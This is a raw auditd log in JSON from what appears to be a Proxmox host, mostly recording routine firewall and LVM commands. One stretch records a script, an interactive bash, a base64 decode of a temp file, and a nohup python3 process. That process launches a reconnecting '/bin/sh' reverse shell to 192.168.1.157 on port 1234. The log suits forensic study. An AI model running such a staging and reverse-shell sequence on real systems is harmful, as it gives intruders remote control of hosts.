proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964891027,"@rawstring":"node=pve type=EXECVE msg=audit(1781964891.027:63087): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964205568,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964205.568:60032): proctitle=697073657400726573746F7265"} {"@timestamp":1781964886019,"@rawstring":"node=pve type=EXECVE msg=audit(1781964886.019:63084): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964205562,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964205.562:60031): proctitle=\"ip6tables-save\""} {"@timestamp":1781964886011,"@rawstring":"node=pve type=EXECVE msg=audit(1781964886.011:63081): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964205556,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964205.556:60030): proctitle=\"iptables-save\""} {"@timestamp":1781964886005,"@rawstring":"node=pve type=EXECVE msg=audit(1781964886.005:63078): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964205552,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964205.552:60029): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964886002,"@rawstring":"node=pve type=EXECVE msg=audit(1781964886.002:63077): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964205548,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964205.548:60028): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964886001,"@rawstring":"node=pve type=EXECVE msg=audit(1781964886.001:63076): argc=1 a0=\"date\""} {"@timestamp":1781964205548,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964205.548:60027): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964885997,"@rawstring":"node=pve type=EXECVE msg=audit(1781964885.997:63074): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964205548,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964205.548:60026): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964885991,"@rawstring":"node=pve type=EXECVE msg=audit(1781964885.991:63073): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964205543,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964205.543:60025): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964885985,"@rawstring":"node=pve type=EXECVE msg=audit(1781964885.985:63072): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964205537,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964205.537:60024): proctitle=\"ip6tables-save\""} {"@timestamp":1781964885979,"@rawstring":"node=pve type=EXECVE msg=audit(1781964885.979:63071): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964205529,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964205.529:60023): proctitle=\"iptables-save\""} {"@timestamp":1781964885973,"@rawstring":"node=pve type=EXECVE msg=audit(1781964885.973:63070): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964205525,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964205.525:60022): proctitle=69707365740073617665"} {"@timestamp":1781964885968,"@rawstring":"node=pve type=EXECVE msg=audit(1781964885.968:63068): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964205518,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964205.518:60021): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964885963,"@rawstring":"node=pve type=EXECVE msg=audit(1781964885.963:63067): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964205512,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964205.512:60020): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964885958,"@rawstring":"node=pve type=EXECVE msg=audit(1781964885.958:63066): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964204098,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964204.098:60019): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781964885953,"@rawstring":"node=pve type=EXECVE msg=audit(1781964885.953:63065): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964204063,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964204.063:60018): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781964885948,"@rawstring":"node=pve type=EXECVE msg=audit(1781964885.948:63064): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964203298,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964203.298:60017): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964885944,"@rawstring":"node=pve type=EXECVE msg=audit(1781964885.944:63063): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964203298,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964203.298:60016): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964885938,"@rawstring":"node=pve type=EXECVE msg=audit(1781964885.938:63062): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964203298,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964203.298:60015): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964885932,"@rawstring":"node=pve type=EXECVE msg=audit(1781964885.932:63061): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964203287,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964203.287:60014): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964885929,"@rawstring":"node=pve type=EXECVE msg=audit(1781964885.929:63060): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964203287,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964203.287:60013): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964885925,"@rawstring":"node=pve type=EXECVE msg=audit(1781964885.925:63059): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964203287,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964203.287:60012): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964885924,"@rawstring":"node=pve type=EXECVE msg=audit(1781964885.924:63058): argc=1 a0=\"date\""} {"@timestamp":1781964198276,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964198.276:60011): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964885920,"@rawstring":"node=pve type=EXECVE msg=audit(1781964885.920:63056): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964198276,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964198.276:60010): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964885914,"@rawstring":"node=pve type=EXECVE msg=audit(1781964885.914:63055): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964198276,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964198.276:60009): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964885908,"@rawstring":"node=pve type=EXECVE msg=audit(1781964885.908:63054): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964198268,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964198.268:60008): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964885904,"@rawstring":"node=pve type=EXECVE msg=audit(1781964885.904:63053): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964198268,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964198.268:60007): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964885898,"@rawstring":"node=pve type=EXECVE msg=audit(1781964885.898:63052): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964198268,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964198.268:60006): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964885892,"@rawstring":"node=pve type=EXECVE msg=audit(1781964885.892:63051): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964195501,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964195.501:60005): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964884853,"@rawstring":"node=pve type=EXECVE msg=audit(1781964884.853:63050): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964195497,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964195.497:60004): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964884824,"@rawstring":"node=pve type=EXECVE msg=audit(1781964884.824:63049): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964195496,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964195.496:60003): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964883667,"@rawstring":"node=pve type=EXECVE msg=audit(1781964883.667:63048): argc=1 a0=\"/bin/sh\""} {"@timestamp":1781964195496,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964195.496:60002): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964883597,"@rawstring":"node=pve type=EXECVE msg=audit(1781964883.597:63047): argc=9 a0=\"/usr/bin/python3\" a1=\"/tmp/tmp7jijgd1m\" a2=\"192.168.1.157\" a3=\"1234\" a4=\"--exec\" a5=\"/bin/sh\" a6=\"--reconn\" a7=\"--reconn-wait\" a8=\"1\""} {"@timestamp":1781964195492,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964195.492:60001): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964883596,"@rawstring":"node=pve type=EXECVE msg=audit(1781964883.596:63046): argc=10 a0=\"nohup\" a1=\"/usr/bin/python3\" a2=\"/tmp/tmp7jijgd1m\" a3=\"192.168.1.157\" a4=\"1234\" a5=\"--exec\" a6=\"/bin/sh\" a7=\"--reconn\" a8=\"--reconn-wait\" a9=\"1\""} {"@timestamp":1781964195485,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964195.485:60000): proctitle=\"ip6tables-save\""} {"@timestamp":1781964883568,"@rawstring":"node=pve type=EXECVE msg=audit(1781964883.568:63045): argc=3 a0=\"/usr/bin/python3\" a1=\"-c\" a2=696D706F7274206261736536343B663D6F70656E28222F746D702F746D707A74776C76783634222C20227222293B6C696E6573203D20662E726561646C696E657328293B7072696E7428286222222E6A6F696E285B6261736536342E6236346465636F6465286C2E656E636F646528292920666F72206C20696E206C696E65735D29292E6465636F64652829293B"} {"@timestamp":1781964195479,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964195.479:59999): proctitle=\"iptables-save\""} {"@timestamp":1781964880999,"@rawstring":"node=pve type=EXECVE msg=audit(1781964880.999:63044): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964195471,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964195.471:59998): proctitle=\"ip6tables-save\""} {"@timestamp":1781964880981,"@rawstring":"node=pve type=EXECVE msg=audit(1781964880.981:63041): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964195466,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964195.466:59997): proctitle=\"iptables-save\""} {"@timestamp":1781964879990,"@rawstring":"node=pve type=EXECVE msg=audit(1781964879.990:63038): argc=2 a0=\"awk\" a1=7B2073756D202B3D202431207D3B20454E44207B207072696E7466202822252E3066222C2073756D29207D"} {"@timestamp":1781964195462,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964195.462:59996): proctitle=\"ebtables-restore\""} {"@timestamp":1781964879989,"@rawstring":"node=pve type=EXECVE msg=audit(1781964879.989:63037): argc=5 a0=\"ps\" a1=\"-C\" a2=\"kvm\" a3=\"-o\" a4=\"pss\""} {"@timestamp":1781964195460,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964195.460:59995): proctitle=\"ebtables-restore\""} {"@timestamp":1781964879987,"@rawstring":"node=pve type=EXECVE msg=audit(1781964879.987:63036): argc=3 a0=\"awk\" a1=2F5E284D656D467265657C427566666572737C436163686564293A2F207B66726565202B3D2024327D3B20454E44207B207072696E7466202822252E3066222C206672656529207D a2=\"/proc/meminfo\""} {"@timestamp":1781964195455,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964195.455:59994): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964879031,"@rawstring":"node=pve type=EXECVE msg=audit(1781964879.031:63035): argc=3 a0=\"/usr/bin/python3\" a1=\"-c\" a2=696D706F72742074656D7066696C653B682C663D74656D7066696C652E6D6B7374656D7028293B7072696E742866293B"} {"@timestamp":1781964195449,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964195.449:59993): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964878239,"@rawstring":"node=pve type=EXECVE msg=audit(1781964878.239:63034): argc=3 a0=\"/usr/bin/python3\" a1=\"-c\" a2=696D706F72742074656D7066696C653B682C663D74656D7066696C652E6D6B7374656D7028293B7072696E742866293B"} {"@timestamp":1781964195444,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964195.444:59992): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964877444,"@rawstring":"node=pve type=EXECVE msg=audit(1781964877.444:63033): argc=3 a0=\"/usr/bin/python3\" a1=\"-c\" a2=696D706F72742074656D7066696C653B682C663D74656D7066696C652E6D6B7374656D7028293B7072696E742866293B"} {"@timestamp":1781964195438,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964195.438:59991): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964876643,"@rawstring":"node=pve type=EXECVE msg=audit(1781964876.643:63032): argc=3 a0=\"/usr/bin/python3\" a1=\"-c\" a2=696D706F72742074656D7066696C653B682C663D74656D7066696C652E6D6B7374656D7028293B7072696E742866293B"} {"@timestamp":1781964195431,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964195.431:59990): proctitle=697073657400726573746F7265"} {"@timestamp":1781964875975,"@rawstring":"node=pve type=EXECVE msg=audit(1781964875.975:63031): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964195425,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964195.425:59989): proctitle=\"ip6tables-save\""} {"@timestamp":1781964875963,"@rawstring":"node=pve type=EXECVE msg=audit(1781964875.963:63028): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964195419,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964195.419:59988): proctitle=\"iptables-save\""} {"@timestamp":1781964875881,"@rawstring":"node=pve type=EXECVE msg=audit(1781964875.881:63025): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964195415,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964195.415:59987): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964875878,"@rawstring":"node=pve type=EXECVE msg=audit(1781964875.878:63024): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964195412,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964195.412:59986): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964875877,"@rawstring":"node=pve type=EXECVE msg=audit(1781964875.877:63023): argc=1 a0=\"date\""} {"@timestamp":1781964195411,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964195.411:59985): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964875873,"@rawstring":"node=pve type=EXECVE msg=audit(1781964875.873:63021): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964195411,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964195.411:59984): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964875867,"@rawstring":"node=pve type=EXECVE msg=audit(1781964875.867:63020): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964195407,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964195.407:59983): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964875861,"@rawstring":"node=pve type=EXECVE msg=audit(1781964875.861:63019): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964195400,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964195.400:59982): proctitle=\"ip6tables-save\""} {"@timestamp":1781964875853,"@rawstring":"node=pve type=EXECVE msg=audit(1781964875.853:63018): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964195394,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964195.394:59981): proctitle=\"iptables-save\""} {"@timestamp":1781964875844,"@rawstring":"node=pve type=EXECVE msg=audit(1781964875.844:63017): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964195389,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964195.389:59980): proctitle=69707365740073617665"} {"@timestamp":1781964875839,"@rawstring":"node=pve type=EXECVE msg=audit(1781964875.839:63015): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964195382,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964195.382:59979): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964875836,"@rawstring":"node=pve type=EXECVE msg=audit(1781964875.836:63014): argc=3 a0=\"/usr/bin/python3\" a1=\"-c\" a2=66726F6D205F5F6675747572655F5F20696D706F7274207072696E745F66756E6374696F6E3B696D706F7274207379733B763D7379732E76657273696F6E5F696E666F3B7072696E7428227B7D2E7B7D2E7B7D222E666F726D617428765B305D2C20765B315D2C20765B325D29293B"} {"@timestamp":1781964195376,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964195.376:59978): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964875833,"@rawstring":"node=pve type=EXECVE msg=audit(1781964875.833:63013): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964194989,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964194.989:59977): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781964875829,"@rawstring":"node=pve type=EXECVE msg=audit(1781964875.829:63012): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964194963,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964194.963:59976): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781964875824,"@rawstring":"node=pve type=EXECVE msg=audit(1781964875.824:63011): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964193259,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964193.259:59975): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964875819,"@rawstring":"node=pve type=EXECVE msg=audit(1781964875.819:63010): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964193259,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964193.259:59974): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964875814,"@rawstring":"node=pve type=EXECVE msg=audit(1781964875.814:63009): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964193259,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964193.259:59973): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964875807,"@rawstring":"node=pve type=EXECVE msg=audit(1781964875.807:63008): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964193245,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964193.245:59972): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964875802,"@rawstring":"node=pve type=EXECVE msg=audit(1781964875.802:63007): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964193245,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964193.245:59971): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964875798,"@rawstring":"node=pve type=EXECVE msg=audit(1781964875.798:63006): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964193245,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964193.245:59970): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964875795,"@rawstring":"node=pve type=EXECVE msg=audit(1781964875.795:63005): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964188237,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964188.237:59969): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964875795,"@rawstring":"node=pve type=EXECVE msg=audit(1781964875.795:63004): argc=1 a0=\"date\""} {"@timestamp":1781964188237,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964188.237:59968): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964875791,"@rawstring":"node=pve type=EXECVE msg=audit(1781964875.791:63002): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964188237,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964188.237:59967): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964875784,"@rawstring":"node=pve type=EXECVE msg=audit(1781964875.784:63001): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964188228,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964188.228:59966): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964875778,"@rawstring":"node=pve type=EXECVE msg=audit(1781964875.778:63000): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964188228,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964188.228:59965): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964875773,"@rawstring":"node=pve type=EXECVE msg=audit(1781964875.773:62999): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964188227,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964188.227:59964): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964875766,"@rawstring":"node=pve type=EXECVE msg=audit(1781964875.766:62998): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964185365,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964185.365:59963): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964875760,"@rawstring":"node=pve type=EXECVE msg=audit(1781964875.760:62997): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964185362,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964185.362:59962): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964875575,"@rawstring":"node=pve type=EXECVE msg=audit(1781964875.575:62996): argc=3 a0=\"/bin/sh\" a1=\"/usr/bin/which\" a2=\"python3\""} {"@timestamp":1781964185361,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964185.361:59961): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964874922,"@rawstring":"node=pve type=EXECVE msg=audit(1781964874.922:62995): argc=2 a0=\"bash\" a1=\"-i\""} {"@timestamp":1781964185361,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964185.361:59960): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964874919,"@rawstring":"node=pve type=EXECVE msg=audit(1781964874.919:62994): argc=1 a0=\"tac\""} {"@timestamp":1781964185357,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964185.357:59959): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964874919,"@rawstring":"node=pve type=EXECVE msg=audit(1781964874.919:62993): argc=3 a0=\"tr\" a1=\"-d\" a2=\"\\n\""} {"@timestamp":1781964185349,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964185.349:59958): proctitle=\"ip6tables-save\""} {"@timestamp":1781964874918,"@rawstring":"node=pve type=EXECVE msg=audit(1781964874.918:62992): argc=3 a0=\"tr\" a1=20 a2=\"\\n\""} {"@timestamp":1781964185343,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964185.343:59957): proctitle=\"iptables-save\""} {"@timestamp":1781964874913,"@rawstring":"node=pve type=EXECVE msg=audit(1781964874.913:62991): argc=2 a0=\"/bin/bash\" a1=\"./storage.sh\""} {"@timestamp":1781964185337,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964185.337:59956): proctitle=\"ip6tables-save\""} {"@timestamp":1781964874739,"@rawstring":"node=pve type=EXECVE msg=audit(1781964874.739:62990): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" 